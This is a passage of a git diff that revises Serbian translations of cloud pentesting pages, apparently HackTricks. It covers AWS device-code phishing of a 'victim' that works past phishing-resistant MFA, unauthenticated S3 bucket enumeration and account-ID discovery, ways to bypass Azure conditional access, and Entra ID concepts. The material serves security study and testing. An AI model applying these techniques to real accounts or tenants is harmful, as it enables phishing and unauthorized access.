Pošaljite generisanu vezu žrtvi koristeći svoje sjajne veštine socijalnog in 3. **Sačekajte da žrtva prihvati** -Ako je žrtva **već bila prijavljena na AWS**, samo će morati da prihvati dodeljivanje dozvola, ako nije, moraće da **se prijavi i zatim prihvati dodeljivanje dozvola**.\ +Ako je žrtva **već bila prijavljena na AWS**, samo će morati da prihvati dodeljivanje dozvola, ako nije, moraće da se **prijavi i zatim prihvati dodeljivanje dozvola**.\ Ovako izgleda promp danas:
@@ -104,7 +104,7 @@ sts_creds.get('roleCredentials') ``` ### Phishing the unphisable MFA -Zanimljivo je znati da prethodni napad **radi čak i ako se koristi "unphisable MFA" (webAuth)**. To je zato što prethodni **tok rada nikada ne napušta korišćeni OAuth domen**. Za razliku od drugih phishing napada gde korisnik mora da zameni domen za prijavu, u ovom slučaju je tok rada sa kodom uređaja pripremljen tako da **kod poznaje uređaj** i korisnik može da se prijavi čak i na drugom računaru. Ako se prihvati promp, uređaj, samo **znajući početni kod**, će moći da **dobije akreditive** za korisnika. +Zanimljivo je znati da prethodni napad **radi čak i ako se koristi "unphisable MFA" (webAuth)**. To je zato što prethodni **tok rada nikada ne napušta korišćeni OAuth domen**. Za razliku od drugih phishing napada gde korisnik mora da zameni domen za prijavu, u ovom slučaju je tok rada sa kodom uređaja pripremljen tako da **kod poznaje uređaj** i korisnik može da se prijavi čak i na drugom računaru. Ako se prihvati promp, uređaj, samo **znajući inicijalni kod**, će moći da **dobije akreditive** za korisnika. Za više informacija o ovome [**proverite ovaj post**](https://mjg59.dreamwidth.org/62175.html). diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md index b48ef12f1..c60a67b28 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - IoT Unauthenticated Enum +# AWS - IoT Neautentifikovana Enum {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md index 3fb85b1cc..b7a2a5e1f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Kinesis Video Unauthenticated Enum +# AWS - Kinesis Video Neautentifikovana Enumeracija {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index 2e064299d..adbdcede0 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -12,7 +12,7 @@ https://{random_id}.lambda-url.{region}.on.aws/ ``` ### Dobijanje ID-a naloga sa javnog Lambda URL-a -Baš kao i kod S3 kanti, Data Exchange i API gateway-a, moguće je pronaći ID naloga koristeći **`aws:ResourceAccount`** **Policy Condition Key** iz javnog lambda URL-a. To se radi pronalaženjem ID-a naloga jedan po jedan karakter koristeći džokere u **`aws:ResourceAccount`** sekciji politike.\ +Baš kao i sa S3 kanticama, Data Exchange i API prolazima, moguće je pronaći ID naloga koristeći **`aws:ResourceAccount`** **Policy Condition Key** iz javnog lambda URL-a. To se postiže pronalaženjem ID-a naloga jedan po jedan karakter koristeći džokere u **`aws:ResourceAccount`** sekciji politike.\ Ova tehnika takođe omogućava dobijanje **vrednosti oznaka** ako znate ključ oznake (ima nekoliko podrazumevanih zanimljivih). Možete pronaći više informacija u [**originalnom istraživanju**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) i alatu [**conditional-love**](https://github.com/plerionhq/conditional-love/) za automatizaciju ove eksploatacije. diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index 3b10c03cb..8bacc889a 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -6,7 +6,7 @@ ### **RabbitMQ** -U slučaju **RabbitMQ**, po **defaultu je omogućen javni pristup** i ssl. Ali su vam potrebne **akreditivi** za pristup (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Štaviše, moguće je **pristupiti web menadžment konzoli** ako znate akreditive na `https://b-.mq.us-east-1.amazonaws.com/` +U slučaju **RabbitMQ**, po **defaultu je omogućen javni pristup** i ssl. Ali su vam potrebne **akreditivi** za pristup (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Štaviše, moguće je **pristupiti web menadžment konzoli** ako znate akreditive u `https://b-.mq.us-east-1.amazonaws.com/` ### ActiveMQ diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index 453b5317c..565c7cf4a 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -1,14 +1,14 @@ -# AWS - MSK Unauthenticated Enum +# AWS - MSK Neautentifikovana Enumeracija {{#include ../../../banners/hacktricks-training.md}} ### Javni Port -Moguće je **izložiti Kafka broker javnosti**, ali će vam biti potrebne **akreditivi**, IAM dozvole ili važeći sertifikat (u zavisnosti od metode autentifikacije koja je konfigurisana). +Moguće je **izložiti Kafka broker javnosti**, ali će vam biti potrebni **akreditivi**, IAM dozvole ili važeći sertifikat (u zavisnosti od metode autentifikacije koja je konfigurisana). Takođe je **moguće onemogućiti autentifikaciju**, ali u tom slučaju **nije moguće direktno izložiti** port internetu. -### Javni URL šablon +### Šablon javnog URL-a ``` b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md index 638926068..2b0ac01c4 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -12,7 +12,7 @@ Za više informacija pogledajte: ## Javni Port -Moguće je omogućiti javni pristup **bazi podataka sa interneta**. Napadač će i dalje morati da **zna korisničko ime i lozinku,** IAM pristup, ili **eksploit** da bi ušao u bazu podataka. +Moguće je omogućiti javni pristup **bazi podataka sa interneta**. Napadač će i dalje morati da **zna korisničko ime i lozinku,** IAM pristup, ili neku **eksploataciju** da bi ušao u bazu podataka. ## Javni RDS Snimci diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md index 8ad35ea1b..747fb8e35 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Redshift Unauthenticated Enum +# AWS - Redshift Neautentifikovana Enumeracija {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 74a55b8c6..9ec2cb071 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -4,9 +4,9 @@ ## S3 Javne Kante -Kanta se smatra **“javnom”** ako **bilo koji korisnik može da prikaže sadržaj** kante, i **“privatnom”** ako se sadržaj kante može **prikazati ili pisati samo od strane određenih korisnika**. +Kanta se smatra **“javnom”** ako **bilo koji korisnik može da pregleda sadržaj** kante, i **“privatnom”** ako se sadržaj kante može **pregledati ili pisati samo od strane određenih korisnika**. -Kompanije mogu imati **pogrešno konfigurisane dozvole kanti** koje daju pristup ili svemu ili svima koji su autentifikovani u AWS-u u bilo kojem nalogu (dakle, bilo kome). Imajte na umu da čak i sa takvim pogrešnim konfiguracijama neke radnje možda neće moći da se izvrše jer kante mogu imati svoje vlastite liste kontrole pristupa (ACL). +Kompanije mogu imati **pogrešno konfigurisane dozvole za kante** koje daju pristup ili svemu ili svima koji su autentifikovani u AWS-u u bilo kojem nalogu (dakle, bilo kome). Imajte na umu da čak i sa takvim pogrešnim konfiguracijama neke radnje možda neće moći da se izvrše jer kante mogu imati svoje vlastite liste kontrole pristupa (ACL). **Saznajte više o AWS-S3 pogrešnoj konfiguraciji ovde:** [**http://flaws.cloud**](http://flaws.cloud/) **i** [**http://flaws2.cloud/**](http://flaws2.cloud) @@ -56,7 +56,7 @@ cat subdomains.txt > /tmp/words-hosts-s3.txt cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt -# Kreirajte permutacije na osnovu liste sa domenima i poddomenama za napad +# Kreirajte permutacije na osnovu liste sa domenima i poddomenima za napad goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp ## Prethodni alat je specijalizovan za kreiranje permutacija za poddomene, filtrirajmo tu listu ### Uklonite linije koje se završavaju sa "." @@ -85,7 +85,7 @@ Možete pronaći sve podržane regione od strane AWS-a na [**https://docs.aws.am #### Preko DNS-a -Možete dobiti region kante sa **`dig`** i **`nslookup`** tako što ćete uraditi **DNS zahtev otkrivene IP adrese**: +Možete dobiti region kante sa **`dig`** i **`nslookup`** tako što ćete uraditi **DNS zahtev otkrivenog IP-a**: ```bash dig flaws.cloud ;; ANSWER SECTION: @@ -96,18 +96,18 @@ Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` Proverite da li rešen domen sadrži reč "website".\ -Možete pristupiti statičkoj veb stranici odlaskom na: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -ili možete pristupiti kanti posetom: `flaws.cloud.s3-us-west-2.amazonaws.com` +Možete pristupiti statičkom vebsajtu odlaskom na: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ +ili možete pristupiti bucket-u posetom: `flaws.cloud.s3-us-west-2.amazonaws.com` #### Pokušavajući -Ako pokušate da pristupite kanti, ali u **nazivu domena navedete drugu regiju** (na primer, kanta je u `bucket.s3.amazonaws.com`, ali pokušavate da pristupite `bucket.s3-website-us-west-2.amazonaws.com`, tada ćete biti **upučeni na ispravnu lokaciju**: +Ako pokušate da pristupite bucket-u, ali u **domen imenu navedete drugu regiju** (na primer, bucket je u `bucket.s3.amazonaws.com`, ali pokušavate da pristupite `bucket.s3-website-us-west-2.amazonaws.com`, tada ćete biti **upučeni na ispravnu lokaciju**: ![](<../../../images/image (106).png>) -### Enumeracija kante +### Enumeracija bucket-a -Da biste testirali otvorenost kante, korisnik može jednostavno uneti URL u svoj veb pregledač. Privatna kanta će odgovoriti sa "Pristup odbijen". Javna kanta će navesti prvih 1.000 objekata koji su sačuvani. +Da biste testirali otvorenost bucket-a, korisnik može jednostavno uneti URL u svoj veb pregledač. Privatni bucket će odgovoriti sa "Access Denied". Javni bucket će navesti prvih 1,000 objekata koji su sačuvani. Otvoreno za sve: @@ -117,7 +117,7 @@ Privatno: ![](<../../../images/image (83).png>) -Takođe možete proveriti ovo pomoću cli: +Takođe možete proveriti ovo sa cli: ```bash #Use --no-sign-request for check Everyones permissions #Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions @@ -125,16 +125,16 @@ Takođe možete proveriti ovo pomoću cli: #Opcionally you can select the region if you now it aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] ``` -Ako kofa nema ime domena, prilikom pokušaja da je enumerišete, **samo stavite ime kofe** i ne celu AWSs3 domenu. Primer: `s3://` +Ako korpa nema ime domena, prilikom pokušaja da je enumerišete, **samo stavite ime korpe** i ne celu AWSs3 domenu. Primer: `s3://` -### Šablon javnog URL-a +### Javni URL šablon ``` https://{user_provided}.s3.amazonaws.com ``` ### Dobijanje ID-a naloga iz javnog Bucket-a -Moguće je odrediti AWS nalog koristeći novu **`S3:ResourceAccount`** **Ključ uslova politike**. Ovaj uslov **ograničava pristup na osnovu S3 bucket-a** u kojem se nalog nalazi (druge politike zasnovane na nalogu ograničavaju pristup na osnovu naloga u kojem se nalazi traženi princip).\ -I pošto politika može sadržati **džoker znakove**, moguće je pronaći broj naloga **samo jedan broj u isto vreme**. +Moguće je odrediti AWS nalog koristeći novu **`S3:ResourceAccount`** **Policy Condition Key**. Ova uslovna ključa **ograničava pristup na osnovu S3 bucket-a** u kojem se nalog nalazi (druge politike zasnovane na nalogu ograničavaju na osnovu naloga u kojem se nalazi traženi princip).\ +I pošto politika može sadržati **wildcards**, moguće je pronaći broj naloga **samo jedan broj u isto vreme**. Ovaj alat automatizuje proces: ```bash @@ -183,7 +183,7 @@ AccessControlPolicy={ } ) ``` -## References +## Reference - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md index e595b3cbb..e0cc3dc36 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - SQS Neautentifikovana Enum +# AWS - SQS Neautentifikovana Enumeracija {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index a0b521573..ba0b873ee 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -64,9 +64,9 @@ U slučajevima kada imate neke važeće akreditive, ali ne možete da se prijavi - **IP beljenje** -- Morate kompromitovati važeći IP - **Geo ograničenja** -- Pronađite gde korisnik živi ili gde su kancelarije kompanije i dobijte IP iz istog grada (ili barem iz iste zemlje) - **Pregledač** -- Možda je dozvoljen samo pregledač sa određenog OS-a (Windows, Linux, Mac, Android, iOS). Saznajte koji OS koristi žrtva/kompanija. -- Takođe možete pokušati da **kompromitujete akreditive Service Principal-a** jer su obično manje ograničeni i njihova prijava se manje proverava. +- Takođe možete pokušati da **kompromitujete akreditive Service Principal-a** jer su obično manje ograničeni i njihova prijava se manje pregledava. -Nakon zaobilaženja, možda ćete moći da se vratite na svoju početnu postavku i još uvek imate pristup. +Nakon zaobilaženja, možda ćete moći da se vratite na svoju početnu postavku i još uvek imati pristup. ### Preuzimanje Poddomena @@ -120,7 +120,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user {{#endtabs }} > [!CAUTION] -> Jedna od najvažnijih komandi za enumeraciju Azure-a je **`Get-AzResource`** iz Az PowerShell-a jer vam omogućava da **znate koje resurse vaš trenutni korisnik može da vidi**. +> Jedna od najvažnijih komandi za enumeraciju Azure-a je **`Get-AzResource`** iz Az PowerShell-a jer vam omogućava da **znate resurse koje vaš trenutni korisnik može da vidi**. > > Istu informaciju možete dobiti u **web konzoli** odlaskom na [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) ili pretražujući "Svi resursi" @@ -151,11 +151,11 @@ Azure DevOps je odvojen od Azure-a. Ima repozitorijume, pipeline-ove (yaml ili r ## Debug | MitM az cli -Koristeći parametar **`--debug`** moguće je videti sve zahteve koje alat **`az`** šalje: +Korišćenjem parametra **`--debug`** moguće je videti sve zahteve koje alat **`az`** šalje: ```bash az account management-group list --output table --debug ``` -Da biste izvršili **MitM** na alat i **proverili sve zahteve** koje šalje ručno, možete uraditi: +Da biste izvršili **MitM** na alatu i **ručno proverili sve zahteve** koje šalje, možete uraditi: {{#tabs }} {{#tab name="Bash" }} diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index c6f76cde3..e65cb7bbc 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -13,8 +13,8 @@ - **10.000 grupa za upravljanje** može biti podržano u jednoj direktoriji. - Drvo grupa za upravljanje može podržati **do šest nivoa dubine**. Ova granica ne uključuje nivo korena ili nivo pretplate. - Svaka grupa za upravljanje i pretplata mogu podržavati **samo jednog roditelja**. -- Čak i ako se može kreirati nekoliko grupa za upravljanje, **postoji samo 1 grupa za upravljanje korenom**. -- Grupa za upravljanje korenom **sadrži** sve **druge grupe za upravljanje i pretplate** i **ne može se premestiti ili obrisati**. +- Čak i ako se može kreirati nekoliko grupa za upravljanje, **postoji samo 1 korenska grupa za upravljanje**. +- Korenska grupa za upravljanje **sadrži** sve **druge grupe za upravljanje i pretplate** i **ne može se premestiti ili obrisati**. - Sve pretplate unutar jedne grupe za upravljanje moraju verovati **istom Entra ID tenant-u.**

https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

@@ -22,9 +22,9 @@ ### Azure pretplate - To je još jedan **logički kontejner u kojem se mogu pokretati resursi** (VM-ovi, DB-ovi…) i za koji će se naplaćivati. -- Njegov **roditelj** je uvek **grupa za upravljanje** (i može biti grupa za upravljanje korenom) jer pretplate ne mogu sadržati druge pretplate. -- **Veruje samo jednoj Entra ID** direktoriji -- **Dozvole** primenjene na nivou pretplate (ili bilo kojem od njenih roditelja) se **nasleđuju** na sve resurse unutar pretplate +- Njegov **roditelj** je uvek **grupa za upravljanje** (i može biti korenska grupa za upravljanje) jer pretplate ne mogu sadržavati druge pretplate. +- **Veruje samo jednoj Entra ID** direktoriji. +- **Dozvole** primenjene na nivou pretplate (ili bilo kojem od njenih roditelja) se **nasleđuju** svim resursima unutar pretplate. ### Grupe resursa @@ -50,15 +50,15 @@ Za virtuelnu mašinu nazvanu myVM u grupi resursa `myResourceGroup` pod ID-jem p ### Azure -Azure je Microsoftova sveobuhvatna **platforma za cloud računarstvo, koja nudi širok spektar usluga**, uključujući virtuelne mašine, baze podataka, veštačku inteligenciju i skladištenje. Deluje kao osnova za hostovanje i upravljanje aplikacijama, izgradnju skalabilnih infrastruktura i pokretanje modernih radnih opterećenja u oblaku. Azure pruža alate za programere i IT profesionalce da kreiraju, implementiraju i upravljaju aplikacijama i uslugama bez problema, zadovoljavajući razne potrebe od startapa do velikih preduzeća. +Azure je Microsoftova sveobuhvatna **platforma za cloud računarstvo, koja nudi širok spektar usluga**, uključujući virtuelne mašine, baze podataka, veštačku inteligenciju i skladištenje. Ona služi kao osnova za hostovanje i upravljanje aplikacijama, izgradnju skalabilnih infrastruktura i pokretanje modernih radnih opterećenja u cloudu. Azure pruža alate za programere i IT profesionalce da kreiraju, implementiraju i upravljaju aplikacijama i uslugama bez problema, zadovoljavajući razne potrebe od startapa do velikih preduzeća. ### Entra ID (ranije Azure Active Directory) -Entra ID je usluga za upravljanje **identitetom i pristupom zasnovana na oblaku** koja je dizajnirana da upravlja autentifikacijom, autorizacijom i kontrolom pristupa korisnika. Omogućava siguran pristup Microsoftovim uslugama kao što su Office 365, Azure i mnoge aplikacije trećih strana. Sa funkcijama kao što su jedinstveno prijavljivanje (SSO), višefaktorska autentifikacija (MFA) i politike uslovnog pristupa, između ostalog. +Entra ID je cloud-bazirana **usluga upravljanja identitetom i pristupom** dizajnirana da upravlja autentifikacijom, autorizacijom i kontrolom pristupa korisnika. Ona omogućava siguran pristup Microsoftovim uslugama kao što su Office 365, Azure i mnoge treće strane SaaS aplikacije. Sa funkcijama kao što su jedinstveno prijavljivanje (SSO), višefaktorska autentifikacija (MFA) i politike uslovnog pristupa, između ostalog. ### Entra Domain Services (ranije Azure AD DS) -Entra Domain Services proširuje mogućnosti Entra ID nudeći **upravljane usluge domena kompatibilne sa tradicionalnim Windows Active Directory okruženjima**. Podržava nasleđene protokole kao što su LDAP, Kerberos i NTLM, omogućavajući organizacijama da migriraju ili pokreću starije aplikacije u oblaku bez implementacije lokalnih kontrolera domena. Ova usluga takođe podržava grupne politike za centralizovano upravljanje, što je čini pogodnom za scenarije u kojima nasleđena ili AD-bazirana radna opterećenja treba da koegzistiraju sa modernim cloud okruženjima. +Entra Domain Services proširuje mogućnosti Entra ID nudeći **upravljane usluge domena kompatibilne sa tradicionalnim Windows Active Directory okruženjima**. Podržava nasleđene protokole kao što su LDAP, Kerberos i NTLM, omogućavajući organizacijama da migriraju ili pokreću starije aplikacije u cloudu bez implementacije lokalnih kontrolera domena. Ova usluga takođe podržava grupne politike za centralizovano upravljanje, što je čini pogodnom za scenarije u kojima nasleđena ili AD-bazirana radna opterećenja treba da koegzistiraju sa modernim cloud okruženjima. ## Entra ID Principali @@ -98,22 +98,22 @@ Možete ih proveriti na [https://learn.microsoft.com/en-us/entra/fundamentals/us - Kreiranje sigurnosnih grupa: Podrazumevano **Da** - Ograničavanje pristupa Microsoft Entra administrativnom portalu: Podrazumevano **Ne** - Ovo ne ograničava API pristup portalu (samo web) -- Dozvoliti korisnicima da povežu radni ili školski nalog sa LinkedIn-om: Podrazumevano **Da** -- Prikazati zadržavanje korisnika prijavljenim: Podrazumevano **Da** -- Ograničiti korisnike od oporavka BitLocker ključeva za njihove vlasničke uređaje: Podrazumevano Ne (proverite u podešavanjima uređaja) -- Čitati druge korisnike: Podrazumevano **Da** (putem Microsoft Graph) +- Dozvolite korisnicima da povežu radni ili školski nalog sa LinkedIn-om: Podrazumevano **Da** +- Prikaži zadrži korisnika prijavljenim: Podrazumevano **Da** +- Ograničite korisnike od oporavka BitLocker ključeva za njihove vlasničke uređaje: Podrazumevano Ne (proverite u podešavanjima uređaja) +- Čita druge korisnike: Podrazumevano **Da** (putem Microsoft Graph) - **Gosti** - **Ograničenja pristupa gostujućim korisnicima** -- **Gosti imaju iste pristupe kao članovi** dodeljuju sve dozvole članova gostujućim korisnicima podrazumevano. +- **Gosti imaju isti pristup kao članovi** dodeljuje sve dozvole korisnika članova gostujućim korisnicima podrazumevano. - **Gosti imaju ograničen pristup svojstvima i članstvima objekata direktorijuma (podrazumevano)** ograničava pristup gostiju samo na njihov vlastiti korisnički profil podrazumevano. Pristup informacijama o drugim korisnicima i grupama više nije dozvoljen. - **Pristup gostujućim korisnicima je ograničen na svojstva i članstva njihovih vlastitih objekata direktorijuma** je najrestriktivniji. - **Gosti mogu pozivati** - **Svako u organizaciji može pozvati gostujuće korisnike uključujući goste i ne-administratore (najinkluzivnije) - Podrazumevano** -- **Članovi korisnici i korisnici dodeljeni specifičnim administrativnim ulogama mogu pozvati gostujuće korisnike uključujući goste sa članovskim dozvolama** +- **Korisnici članovi i korisnici dodeljeni specifičnim administrativnim ulogama mogu pozvati gostujuće korisnike uključujući goste sa članovskim dozvolama** - **Samo korisnici dodeljeni specifičnim administrativnim ulogama mogu pozvati gostujuće korisnike** - **Niko u organizaciji ne može pozvati gostujuće korisnike uključujući administratore (najrestriktivnije)** - **Spoljni korisnici mogu napustiti**: Podrazumevano **Tačno** -- Dozvoliti spoljnim korisnicima da napuste organizaciju +- Dozvolite spoljnim korisnicima da napuste organizaciju > [!TIP] > Čak i ako su podrazumevano ograničeni, korisnici (članovi i gosti) sa dodeljenim dozvolama mogli bi izvršiti prethodne radnje. @@ -135,10 +135,10 @@ Postoje **2 tipa članstva**: **Servisni princip** je **identitet** kreiran za **upotrebu** sa **aplikacijama**, hostovanim uslugama i automatizovanim alatima za pristup Azure resursima. Ovaj pristup je **ograničen ulogama dodeljenim** servisnom principu, dajući vam kontrolu nad **koji resursi mogu biti pristupljeni** i na kojem nivou. Iz bezbednosnih razloga, uvek se preporučuje da **koristite servisne principe sa automatizovanim alatima** umesto da im dozvolite prijavu sa korisničkim identitetom. -Moguće je **direktno se prijaviti kao servisni princip** generišući mu **tajnu** (lozinku), **sertifikat** ili dodeljujući **federisani** pristup platformama trećih strana (npr. Github Actions) preko njega. +Moguće je **direktno se prijaviti kao servisni princip** generišući mu **tajnu** (lozinku), **sertifikat**, ili dodeljujući **federisani** pristup trećim platformama (npr. Github Actions) preko njega. -- Ako izaberete **lozinku** za autentifikaciju (podrazumevano), **sačuvajte generisanu lozinku** jer je nećete moći ponovo pristupiti. -- Ako izaberete autentifikaciju sertifikatom, uverite se da će **aplikacija imati pristup privatnom ključu**. +- Ako izaberete **lozinku** kao autentifikaciju (podrazumevano), **sačuvajte generisanu lozinku** jer je nećete moći ponovo pristupiti. +- Ako izaberete autentifikaciju sertifikatom, uverite se da **aplikacija ima pristup privatnom ključu**. ### Registracije aplikacija @@ -147,10 +147,10 @@ Moguće je **direktno se prijaviti kao servisni princip** generišući mu **tajn #### Ključne komponente: 1. **ID aplikacije (Client ID):** Jedinstveni identifikator za vašu aplikaciju u Azure AD. -2. **Redirect URIs:** URL-ovi na koje Azure AD šalje odgovore na autentifikaciju. +2. **URI-ovi za preusmeravanje:** URL-ovi na koje Azure AD šalje odgovore na autentifikaciju. 3. **Sertifikati, tajne i federisani kredencijali:** Moguće je generisati tajnu ili sertifikat za prijavu kao servisni princip aplikacije, ili dodeliti federisani pristup (npr. Github Actions). 1. Ako je **sertifikat** ili **tajna** generisana, moguće je da osoba **prijavi kao servisni princip** koristeći CLI alate znajući **ID aplikacije**, **tajnu** ili **sertifikat** i **tenant** (domen ili ID). -4. **API dozvole:** Određuje koje resurse ili API-je aplikacija može pristupiti. +4. **API dozvole:** Specifikuje koje resurse ili API-je aplikacija može pristupiti. 5. **Podešavanja autentifikacije:** Definiše podržane tokove autentifikacije aplikacije (npr., OAuth2, OpenID Connect). 6. **Servisni princip**: Servisni princip se kreira kada se aplikacija kreira (ako se to uradi iz web konzole) ili kada se instalira u novom tenant-u. 1. **Servisni princip** će dobiti sve tražene dozvole sa kojima je konfigurisan. @@ -163,19 +163,19 @@ Moguće je **direktno se prijaviti kao servisni princip** generišući mu **tajn - Administrator će biti potreban za sve aplikacije. - **Dozvoliti korisnički pristanak za aplikacije od verifikovanih izdavača, za odabrane dozvole (Preporučeno)** - Svi korisnici mogu dati pristanak za dozvole klasifikovane kao "niskog uticaja", za aplikacije od verifikovanih izdavača ili aplikacije registrovane u ovoj organizaciji. -- **Podrazumevane** dozvole niskog uticaja (iako morate prihvatiti da ih dodate kao niske): -- User.Read - prijavite se i pročitajte korisnički profil -- offline_access - održava pristup podacima kojima su korisnici dali pristup -- openid - prijavite korisnike -- profile - pogledajte osnovni profil korisnika -- email - pogledajte adresu e-pošte korisnika +- **Podrazumevane** dozvole niskog uticaja (iako ih treba prihvatiti da bi se dodale kao niske): +- User.Read - prijava i čitanje korisničkog profila +- offline_access - održavanje pristupa podacima kojima su korisnici dali pristup +- openid - prijava korisnika +- profile - pregled osnovnog profila korisnika +- email - pregled adrese e-pošte korisnika - **Dozvoliti korisnički pristanak za aplikacije (Podrazumevano)** - Svi korisnici mogu dati pristanak za bilo koju aplikaciju da pristupi podacima organizacije. **Zahtevi za pristanak administratora**: Podrazumevano **Ne** - Korisnici mogu zatražiti pristanak administratora za aplikacije za koje ne mogu dati pristanak -- Ako je **Da**: Moguće je naznačiti korisnike, grupe i uloge koje mogu dati zahteve za pristanak +- Ako je **Da**: Moguće je naznačiti korisnike, grupe i uloge koje mogu odobriti zahteve - Takođe konfigurišite da li će korisnici primati obaveštenja putem e-pošte i podsetnike o isteku ### **Upravljani identitet (metapodaci)** @@ -184,8 +184,8 @@ Upravljani identiteti u Azure Active Directory nude rešenje za **automatsko upr Postoje dva tipa upravljanih identiteta: -- **Sistemom dodeljeni**. Neke Azure usluge omogućavaju vam da **omogućite upravljani identitet direktno na instanci usluge**. Kada omogućite sistemom dodeljeni upravljeni identitet, **servisni princip** se kreira u Entra ID tenant-u kojem veruje pretplata u kojoj se resurs nalazi. Kada se **resurs** **obriše**, Azure automatski **briše** **identitet** za vas. -- **Korisnikom dodeljeni**. Takođe je moguće da korisnici generišu upravljane identitete. Ovi se kreiraju unutar grupe resursa unutar pretplate i servisni princip će biti kreiran u EntraID kojem veruje pretplata. Zatim, možete dodeliti upravljeni identitet jednoj ili **više 